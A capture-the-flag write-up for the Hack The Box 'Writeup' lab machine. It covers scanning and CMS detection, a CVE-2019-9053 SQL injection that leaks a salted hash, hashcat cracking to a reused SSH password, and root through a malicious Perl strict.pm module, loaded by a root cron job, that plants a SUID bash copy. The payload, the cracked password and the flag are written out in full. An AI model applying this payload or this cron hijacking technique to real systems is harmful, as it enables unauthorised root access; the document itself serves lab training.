

# Machine: Writeup

Written by [Hijackd](#)

## ▼ User Flag

### ▼ Running initial scan against target

Running nmap scan against target again the target host, Discovering open ports and versions.

```
(kali㉿kali)-[~/Desktop]
└─$ nmap -Pn -p 22,80 -sV 10.129.155.239
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 10:40 EDT
Nmap scan report for 10.129.155.239
Host is up (0.061s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
```

### ▼ Recon on robots.txt and CMS Detection

After we saw that i have access to the `robots.txt` and saw the following output, I got a hint for a new directory to look into.

```
#
#      _
#  _(\  |@@|
#  ( _\ _ \--/ _
#    \_|----| | _
#        \}{ ^ ) _ / _\
#        ^ _ ^ \ _ O ( _
```

```
#      (---/\---)  \_/_/
#      _)( )(_
#      `---"---`

# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/
```

And i came across this website which is made for sharing HTB Labs write-ups. Firstly i've navigate to the **Writeup** since this is the name of the machine we are working on to see if i can get any valueable data from his write-up but there is nothing beside nmap scan there.

## writeup

### Home

After many month of lurking around on HTB I also decided to start writing about the boxes I hacked. In the upcoming famous incomplete notes into pretty write-ups.

I am still searching for someone to provide or make a cool theme. If you are interested, please contact me on [NetSec Fo](#)

## writeup

## writeup

This post is still work in progress.

### Recon

As usual we will begin exploring the machine using nmap:

```
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-19 11:49 CEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds
```

I am not yet sure what to make from that. Will update the post as soon as I have more insights about this hard box that is disguised as Easy at HTB.

I view the source-code to try get more hints, And i saw inside the <meta> HTML Tag details about the **CMS** running on the current web-server named **CMS Made Simple** That is made in from 2004 to 2019.

```
1 <!doctype html>
2 <html lang="en_US"><head>
3   <title>writeup - writeup</title>
4
5   <base href="http://10.10.10.138/writeup/" />
6   <meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
7   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
8
9   <!-- cms stylesheet error: No stylesheets matched the criteria specified -->
10  <style>.footer { background-color: white; position: fixed; left: 0; bottom: 0; width: 100%; color: b
11 </head><body>
12   <header id="header">
13     <h1>writeup</h1>
14   </header>
15
```

### ▼ Exploiting a CMS Vulnerability to Crack a Password

Searched exploit for this CMS Content management system and found exploit ([CVE-2019-9053](#)). I downloaded the python script an ran it against the target url <http://10.10.10.138/writeup> .

```
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writ5
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
```

I took the password and the salt and inserted it into a `txt` file to try crack it with `hashcat` utility. i've got a succseful cracking attempt, Password found is `raykayjay9`

```
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 9 secs

62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 20 (md5($salt.$pass))
Hash.Target.....: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Time.Started....: Wed Aug 13 16:19:43 2025 (5 secs)
Time.Estimated...: Wed Aug 13 16:19:48 2025 (0 secs)
Kernel.Feature...: Pure Kernel
```

### ▼ Gaining SSH Access and Finding the First Flag

Since we saw that we also have an `SSH` Service active, I've guessed that those creds found could be related to the SSH and got a succseful login. Then i viewed the current directory files and get the first user flag on `user.txt`.

```
(Virtual Enviornment)-(kali@kali)-[~/.../HackTheBox/HTB Labs/Labs/Writeup]
$ ssh jkr@10.10.10.138
The authenticity of host '10.10.10.138 (10.10.10.138)' can't be established.
ED25519 key fingerprint is SHA256:TRwEhcL3WcCSS2iITDucAKYtASZxNY0RzfYzuJlPvN4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.138' (ED25519) to the list of known hosts.
jkr@10.10.10.138's password:

```

### ▼ Root Flag

#### ▼ Abusing a Cron Job for Root Access

I tried to find SUID binaries that could be abused. While researching, I found a cron job called Cleanup. This cron job runs on a schedule to clean different directories (like `/tmp` and `/var/log`) and remove old or temporary files.

Cron jobs run automatically at their scheduled times. I discovered that this cron job uses the strict module from Perl. I located the `strict.pm` file at `/usr/local/share/perl/5.24.1`.

I replaced the original directory and its contents with a new one I created, using the same path. Then, I asked ChatGPT to create a `strict.pm` file like the original but with a payload that launches a root shell.

This works because cron jobs run with root privileges, so the malicious payload will also run with SUID root privileges.

```
jkr@writeup:/tmp$ perl -e 'print join("\n", @INC), "\n";'
/etc/perl
/usr/local/lib/x86_64-linux-gnu/perl/5.24.1
/usr/local/share/perl/5.24.1
/usr/lib/x86_64-linux-gnu/perl5/5.24
/usr/share/perl5
/usr/lib/x86_64-linux-gnu/perl/5.24
/usr/share/perl/5.24
/usr/local/lib/site_perl
/usr/lib/x86_64-linux-gnu/perl-base
```

```
jkr@writeup:/$ mkdir -p /usr/local/share/perl/5.24.1
```

```
jkr@writeup:/$ cat > /usr/local/share/perl/5.24.1/strict.pm <<'EOF'
> package strict;
> BEGIN{
> system('/bin/bash','-c','cp /bin/bash /tmp/root; chmod u+s /tmp/root');
> }
> do '/usr/share/perl/5.24/strict.pm';
> 1;
> EOF
```

### ▼ Root Privilege Escalation and Flag Discovery

The cron job is already executed and i just called the the `/bin/bash` shell that has been copied with his functionalities `to /tmp/root` and launched with root privileges as SUID Binary of the user who use it which is root because he is

executing the cron job and call the strict module. Then i navigate to `/root` and found the root flag.

```
jkr@writeup:/$ /tmp/root -p
root-4.4# ls
bin    dev    home    initrd.img.old  lib64    media  opt    root  sbin  sys  usr  vmlinuz
boot  etc    initrd.img  lib        lost+found  mnt    proc   run   srv   tmp  var  vmlinuz.old
root-4.4# whoami
root
root-4.4# cd /root
root-4.4# ls
bin root.txt
root-4.4# cat root.txt
39743421d2162cc74a47cf6839f4701b
```
